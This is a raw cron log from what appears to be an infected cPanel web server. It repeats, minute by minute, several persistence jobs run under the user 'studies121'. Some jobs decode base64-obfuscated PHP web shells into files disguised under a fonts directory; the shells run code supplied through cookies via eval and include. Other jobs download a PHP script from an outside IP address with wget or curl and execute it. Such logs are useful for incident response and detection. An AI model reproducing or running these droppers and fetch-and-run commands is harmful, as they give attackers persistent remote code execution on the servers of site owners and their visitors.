Sep 10 01:21:01 ip-184-168-122-23 CROND[10052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:21:01 ip-184-168-122-23 CROND[10058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:21:01 ip-184-168-122-23 CROND[10059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:21:01 ip-184-168-122-23 CROND[10060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:22:01 ip-184-168-122-23 CROND[10146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:22:01 ip-184-168-122-23 CROND[10147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:22:01 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:22:01 ip-184-168-122-23 CROND[10151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:22:01 ip-184-168-122-23 CROND[10152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:23:01 ip-184-168-122-23 CROND[10322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:23:01 ip-184-168-122-23 CROND[10326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:23:01 ip-184-168-122-23 CROND[10325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:23:01 ip-184-168-122-23 CROND[10324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:24:01 ip-184-168-122-23 CROND[10401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:24:01 ip-184-168-122-23 CROND[10403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:24:01 ip-184-168-122-23 CROND[10405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:24:01 ip-184-168-122-23 CROND[10404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:24:01 ip-184-168-122-23 CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:25:01 ip-184-168-122-23 CROND[10504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:25:01 ip-184-168-122-23 CROND[10506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:25:01 ip-184-168-122-23 CROND[10509]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:25:01 ip-184-168-122-23 CROND[10507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:25:01 ip-184-168-122-23 CROND[10513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:25:01 ip-184-168-122-23 CROND[10510]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:26:01 ip-184-168-122-23 CROND[10594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:26:01 ip-184-168-122-23 CROND[10596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:26:01 ip-184-168-122-23 CROND[10598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:26:01 ip-184-168-122-23 CROND[10599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:26:01 ip-184-168-122-23 CROND[10600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:27:01 ip-184-168-122-23 CROND[10688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:27:01 ip-184-168-122-23 CROND[10690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:27:01 ip-184-168-122-23 CROND[10692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:27:01 ip-184-168-122-23 CROND[10691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:28:01 ip-184-168-122-23 CROND[10806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:28:01 ip-184-168-122-23 CROND[10808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:28:01 ip-184-168-122-23 CROND[10809]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:28:01 ip-184-168-122-23 CROND[10811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:28:01 ip-184-168-122-23 CROND[10810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:29:01 ip-184-168-122-23 CROND[10902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:29:01 ip-184-168-122-23 CROND[10905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:29:01 ip-184-168-122-23 CROND[10903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:29:01 ip-184-168-122-23 CROND[10904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11158]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:30:01 ip-184-168-122-23 CROND[11161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:30:01 ip-184-168-122-23 CROND[11162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:30:01 ip-184-168-122-23 CROND[11166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:31:01 ip-184-168-122-23 CROND[11346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:31:01 ip-184-168-122-23 CROND[11348]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:31:01 ip-184-168-122-23 CROND[11349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:31:01 ip-184-168-122-23 CROND[11350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:31:01 ip-184-168-122-23 CROND[11351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:32:01 ip-184-168-122-23 CROND[11447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:32:01 ip-184-168-122-23 CROND[11449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:32:01 ip-184-168-122-23 CROND[11450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 01:32:01 ip-184-168-122-23 CROND[11451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 01:32:01 ip-184-168-122-23 CROND[11452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:33:01 ip-184-168-122-23 CROND[11548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 01:33:01 ip-184-168-122-23 CROND[11550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
